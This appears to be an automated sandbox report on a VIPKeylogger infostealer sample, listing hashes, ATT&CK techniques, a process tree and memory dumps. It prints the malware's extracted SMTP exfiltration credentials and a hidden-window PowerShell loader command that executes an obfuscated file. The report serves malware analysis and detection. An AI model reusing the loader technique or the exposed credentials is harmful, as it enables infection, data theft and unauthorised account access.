vipkeylogger | df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005

Analysis

max time kernel
144s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30/10/2024, 13:10

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General

Target

Fernissagerne.exe
Size

778KB
MD5

a992bbd745fa0540c9b12c43f871be00
SHA1

0435dd15bfd760449e06c1dd2413a4963539ff27
SHA256

df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005
SHA512

fdbd173fcaec5728117e5a5de3382b5da110f61799571f60cbf755047b77c9024a638ad558a47316b300a0b7f2053baa05d321f76b09459ce05932d985299737
SSDEEP

24576:zr5Ob+mp4ZW3/EYSdCVNF45yRQLvf81BV2m6ionDuf:SGW3GC/e5yiX8HuD+

Score

10^/10

vipkeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.inmogomar.com
Port:
587
Username:
[email protected]
Password:
Gomar-19600
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4948	powershell.exe

Blocklisted process makes network request 6 IoCs

flow	pid	Process
38	4220	msiexec.exe
40	4220	msiexec.exe
42	4220	msiexec.exe
45	4220	msiexec.exe
47	4220	msiexec.exe
50	4220	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
37	drive.google.com
38	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
49	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\folkepensionsaldres\frostbiter.ini	Fernissagerne.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4220	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4948	powershell.exe
4220	msiexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Levitters.lnk	Fernissagerne.exe
File opened for modification	C:\Windows\Levitters.lnk	Fernissagerne.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4276	4220	WerFault.exe	100

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fernissagerne.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4220	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4948	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeIncreaseQuotaPrivilege	4948	powershell.exe
Token: SeSecurityPrivilege	4948	powershell.exe
Token: SeTakeOwnershipPrivilege	4948	powershell.exe
Token: SeLoadDriverPrivilege	4948	powershell.exe
Token: SeSystemProfilePrivilege	4948	powershell.exe
Token: SeSystemtimePrivilege	4948	powershell.exe
Token: SeProfSingleProcessPrivilege	4948	powershell.exe
Token: SeIncBasePriorityPrivilege	4948	powershell.exe
Token: SeCreatePagefilePrivilege	4948	powershell.exe
Token: SeBackupPrivilege	4948	powershell.exe
Token: SeRestorePrivilege	4948	powershell.exe
Token: SeShutdownPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeSystemEnvironmentPrivilege	4948	powershell.exe
Token: SeRemoteShutdownPrivilege	4948	powershell.exe
Token: SeUndockPrivilege	4948	powershell.exe
Token: SeManageVolumePrivilege	4948	powershell.exe
Token: 33	4948	powershell.exe
Token: 34	4948	powershell.exe
Token: 35	4948	powershell.exe
Token: 36	4948	powershell.exe
Token: SeDebugPrivilege	4220	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 4948	3252	Fernissagerne.exe	85
PID 3252 wrote to memory of 4948	3252	Fernissagerne.exe	85
PID 3252 wrote to memory of 4948	3252	Fernissagerne.exe	85
PID 4948 wrote to memory of 4220	4948	powershell.exe	100
PID 4948 wrote to memory of 4220	4948	powershell.exe	100
PID 4948 wrote to memory of 4220	4948	powershell.exe	100
PID 4948 wrote to memory of 4220	4948	powershell.exe	100

C:\Users\Admin\AppData\Local\Temp\Fernissagerne.exe
"C:\Users\Admin\AppData\Local\Temp\Fernissagerne.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Spydspids=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\Stragglier\Kmpehjenes.unt';$Gargle=$Spydspids.SubString(43550,3);.$Gargle($Spydspids)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4220
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4220 -s 2380
      4⤵
      Program crash
      PID:4276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4220 -ip 4220
1⤵
PID:772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Stragglier\Kmpehjenes.unt

Filesize
54KB

MD5
43597781601bc20d50b9471e00d7dd55

SHA1
e2f85d659088f7a8dbac0a01cb6b369ea081bb0b

SHA256
4c010add8f075a98219cfdaea2b8b7cbd6a1d2f596045561916e2c1da7c67631

SHA512
be044aaaa9f586318809942495b269ae8dbabd4aeaf4c2c5b70ed51787141bc8cd0ccf4a4fed2921ed3108e1e6edbfdc61b704252631aa2504926bbcd64361ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\Stragglier\Underwrit.Mit

Filesize
329KB

MD5
65dfbe3191b2a3fc36608f8e5a8d9c81

SHA1
9b699082ed301b1c00b5e90d933cc398dfb95fe4

SHA256
41269b9e56ee1550922b662734c60837dd0c94b6cff29f50916b6708b1a33803

SHA512
9d334be31248d34264624e2ab4014a68561eff5ab886c9209e37d97b5e8ed1d5d9cace6722a4fe0766455e432017c6a6285583f801d033bdef900cef241bdc64

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qcfbm3da.jog.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4220-90-0x0000000024B10000-0x0000000024BAC000-memory.dmp

Filesize
624KB

Download
memory/4220-89-0x0000000000C00000-0x0000000000C48000-memory.dmp

Filesize
288KB

Download
memory/4220-88-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download
memory/4220-75-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download
memory/4948-33-0x0000000005BE0000-0x0000000005C2C000-memory.dmp

Filesize
304KB

Download
memory/4948-57-0x0000000007170000-0x000000000717A000-memory.dmp

Filesize
40KB

Download
memory/4948-31-0x00000000055A0000-0x00000000058F4000-memory.dmp

Filesize
3.3MB

Download
memory/4948-32-0x0000000005BA0000-0x0000000005BBE000-memory.dmp

Filesize
120KB

Download
memory/4948-14-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/4948-34-0x0000000006120000-0x00000000061B6000-memory.dmp

Filesize
600KB

Download
memory/4948-35-0x00000000060D0000-0x00000000060EA000-memory.dmp

Filesize
104KB

Download
memory/4948-36-0x0000000006B80000-0x0000000006BA2000-memory.dmp

Filesize
136KB

Download
memory/4948-37-0x0000000007220000-0x00000000077C4000-memory.dmp

Filesize
5.6MB

Download
memory/4948-20-0x00000000053C0000-0x0000000005426000-memory.dmp

Filesize
408KB

Download
memory/4948-39-0x0000000007E50000-0x00000000084CA000-memory.dmp

Filesize
6.5MB

Download
memory/4948-41-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-40-0x0000000007000000-0x0000000007032000-memory.dmp

Filesize
200KB

Download
memory/4948-42-0x00000000701E0000-0x000000007022C000-memory.dmp

Filesize
304KB

Download
memory/4948-43-0x0000000070380000-0x00000000706D4000-memory.dmp

Filesize
3.3MB

Download
memory/4948-54-0x0000000007070000-0x0000000007113000-memory.dmp

Filesize
652KB

Download
memory/4948-56-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-55-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-53-0x0000000007040000-0x000000000705E000-memory.dmp

Filesize
120KB

Download
memory/4948-21-0x0000000005430000-0x0000000005496000-memory.dmp

Filesize
408KB

Download
memory/4948-58-0x00000000071B0000-0x00000000071DA000-memory.dmp

Filesize
168KB

Download
memory/4948-59-0x00000000071E0000-0x0000000007204000-memory.dmp

Filesize
144KB

Download
memory/4948-60-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-62-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/4948-63-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-64-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-19-0x0000000005320000-0x0000000005342000-memory.dmp

Filesize
136KB

Download
memory/4948-66-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-67-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-69-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-68-0x00000000084D0000-0x000000000D2D3000-memory.dmp

Filesize
78.0MB

Download
memory/4948-70-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-71-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-73-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-74-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-18-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-17-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4948-16-0x0000000004CF0000-0x0000000005318000-memory.dmp

Filesize
6.2MB

Download
memory/4948-15-0x00000000045E0000-0x0000000004616000-memory.dmp

Filesize
216KB

Download